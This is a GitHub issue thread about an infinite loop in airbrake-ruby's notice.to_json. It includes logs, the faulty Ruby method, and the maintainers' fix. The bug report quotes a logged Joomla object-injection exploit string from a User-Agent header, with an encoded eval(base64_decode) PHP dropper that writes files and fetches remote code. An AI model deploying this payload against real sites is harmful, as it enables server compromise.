Airbrake-ruby stuck in an infinite loop #82

pouellet · 2016-05-11T23:46:52Z

Airbrake version: 1.2.2
Ruby version: 2.2.4p230
Framework name & version: Rails 4.2.6

Airbrake config

    Airbrake.configure(:default) do |c|
      c.project_key = ***
      c.project_id = ***
      c.logger = Logger.new("#{Rails.root}/log/airbrake.log")
      c.environment = Rails.env
      c.ignore_environments = %w(cucumber test)
      c.root_directory = Rails.root
      c.blacklist_keys = ['_csrf_token', 'HTTP_AUTHORIZATION', /password/i]
    end

Description

I unfortunately could not come up with a reproduction package after a day of trying different inputs, so I hope that your better understanding of the code might solve this one. This happened on our production server and the best I could collect is log.

A malicious agent tried to pass some executable php code in the user_agent header to our Rails app. The request looked like this (as logged by our nginx server, I believe this is truncated):

[04/May/2016:22:34:03 +0000] "GET / HTTP/1.1" 500 1266 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:3738:\x22eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl0Y25SbkxuVnBMbkJvYVc1dFlTNWxaSFV1Y0dndlkyOXRjRzl1Wlc1MGN5OXFiMjl0YkdFdWRIaDBKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJwdFlXbHNMbkJvY0NJZ093MEtKSFJsZUhReUlEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXRjblJuTG5WcExuQm9hVzV0WVM1bFpIVXVjR2d2WTI5dGNHOXVaVzUwY3k5cWJXRnBiSG91ZEhoMEp5azdEUW9rYjNCbGJqSWdQU0JtYjNCbGJpZ2tZMmhsWTJzeUxDQW5keWNwT3cwS1puZHlhWFJsS0NSdmNHVnVNaXdnSkhSbGVIUXlLV

The Rails server most likely failed to decode the header and raised an exception that airbrake-ruby tried to report. This is where things started going wrong. Here are the airbrake logs that followed:

D, [2016-05-04T22:34:03.963131 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.965277 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.967344 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.977436 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.979489 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.981755 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.984759 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:03.999362 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.003028 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
D, [2016-05-04T22:34:04.007852 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.007907 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.007947 #23492] INFO -- : **Airbrake: dropped 16 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.022644 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.022688 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.022722 #23492] INFO -- : **Airbrake: dropped 10 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.024688 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.024730 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.024763 #23492] INFO -- : **Airbrake: dropped 5 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.026259 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.026303 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.026336 #23492] INFO -- : **Airbrake: dropped 2 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.027212 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.027252 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.027285 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.028167 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.028207 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.028240 #23492] INFO -- : **Airbrake: dropped 1 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029030 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.029071 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.029104 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.029931 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.038577 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError
I, [2016-05-04T22:34:04.038625 #23492] INFO -- : **Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError
D, [2016-05-04T22:34:04.038954 #23492] DEBUG -- : **Airbrake: `notice.to_json` failed: "\xF0" from ASCII-8BIT to UTF-8
I, [2016-05-04T22:34:04.039504 #23492] INFO -- : **Airbrake: truncated the message of Encoding::UndefinedConversionError

From there on, airbrake-ruby was stuck in an infinite loop for about an hour, repeating those last three lines, producing 1GB of logs and locking a process. It eventually was killed by linux when the machine ran out of memory.

This piece of code seems to be responsible for the problem:

# lib/airbrake-ruby/notice.rb
    def to_json
      loop do
        begin
          json = payload.to_json
        rescue *JSON_EXCEPTIONS => ex
          @config.logger.debug("#{LOG_LABEL} `notice.to_json` failed: #{ex.to_s.chomp}")
        else
          return json if json && json.bytesize <= MAX_NOTICE_SIZE
        end

        truncate_payload
      end
    end

If the truncate_payload somehow stop reducing the size of the payload (which seems to be the case as the log says Airbrake: dropped 0 frame(s) from Encoding::UndefinedConversionError), then this method become an infinite loop. Unfortunately, I could not come up with an exact payload that would reproduce the issue.

The text was updated successfully, but these errors were encountered:

zocoi · 2016-05-12T00:19:16Z

@pouellet It also happened to us with the same payload

Fixes #82 (Airbrake-ruby stuck in an infinite loop) This is the first step to fix the problem. Firstly, we must identify the bad payload piece, then we will be able to decide what to do next. This PR at least fixes the infinite loop. Apparently we forget to filter something, so we reduce truncator's `max_size` and eventually it becomes `0`. This is a sign things went wrong, so we can return early.

kyrylo · 2016-05-12T01:45:37Z

Hey guys! Please accept my apologies. This is a nasty bug.

I just submitted a fix to the infinite loop issue: #83. I would be really grateful if you could test it. Please bear in mind that it's based on the recent version of airbrake-ruby (1.3.0), so you would need to upgrade first. This shouldn't cause much troubles, though.

Please note that if we can't truncate/convert your payload, then we cannot send it to Airbrake. Thus, next step would be sharing the failing payload with me, so I could take a look at it and fix the library. I am sincerely surprised that this bug has occurred because I've spent a lot of time making sure it works reliably. We also heavily test this (even on different version of Ruby, because they do have differences in this regard).

Sorry for the inconvenience again, hope you will be able to help. Thanks!

Fixes #82 (Airbrake-ruby stuck in an infinite loop) This is the first step to fix the problem. Firstly, we must identify the bad payload piece, then we will be able to decide what to do next. This PR at least fixes the infinite loop. Apparently we forget to filter something, so we reduce truncator's `max_size` and eventually it becomes `0`. This is a sign things went wrong, so we can return early.

pouellet · 2016-05-12T20:00:27Z

Hey Kyrylo, thanks for the quick answer, really appreciated.

Unfortunately I can't reproduce the exact payload since it came from an external request and the only data I have to it is what showed up in our log and that I posted in the description. From the log, I think the request was trying to use this Joomla exploit : https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html.

I will have to wait for a released gem before I can push it to production, but we will update as soon as it's out. I will also put an alert in our log monitoring tool so that I can catch the new log message you introduced and report the exact payload if it happens again. Thanks!

Fixes #82 (Airbrake-ruby stuck in an infinite loop) This is the first step to fix the problem. Firstly, we must identify the bad payload piece, then we will be able to decide what to do next. This PR at least fixes the infinite loop. Apparently we forget to filter something, so we reduce truncator's `max_size` and eventually it becomes `0`. This is a sign things went wrong, so we can return early.

kyrylo · 2016-05-13T14:30:15Z

The new gem with the infinite loop fix was released. Thanks for reporting the bug!

kyrylo mentioned this issue May 12, 2016

Airbrake hangs on infinite loop and chokes up web server if it couldn't parse non-unicode string airbrake/airbrake#551

Closed

kyrylo added the Bug label May 12, 2016

kyrylo mentioned this issue May 12, 2016

notice: fix infinite loop when truncating payload #83

Merged

kyrylo closed this as completed in #83 May 13, 2016

pouellet mentioned this issue May 20, 2016

Appsignal does not handle encoding errors appsignal/appsignal-ruby#108

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Airbrake-ruby stuck in an infinite loop #82

Airbrake-ruby stuck in an infinite loop #82

pouellet commented May 11, 2016

zocoi commented May 12, 2016 •

edited

kyrylo commented May 12, 2016 •

edited

pouellet commented May 12, 2016

kyrylo commented May 13, 2016

Airbrake-ruby stuck in an infinite loop #82

Airbrake-ruby stuck in an infinite loop #82

Comments

pouellet commented May 11, 2016

Airbrake config

Description

zocoi commented May 12, 2016 • edited

kyrylo commented May 12, 2016 • edited

pouellet commented May 12, 2016

kyrylo commented May 13, 2016

zocoi commented May 12, 2016 •

edited

kyrylo commented May 12, 2016 •

edited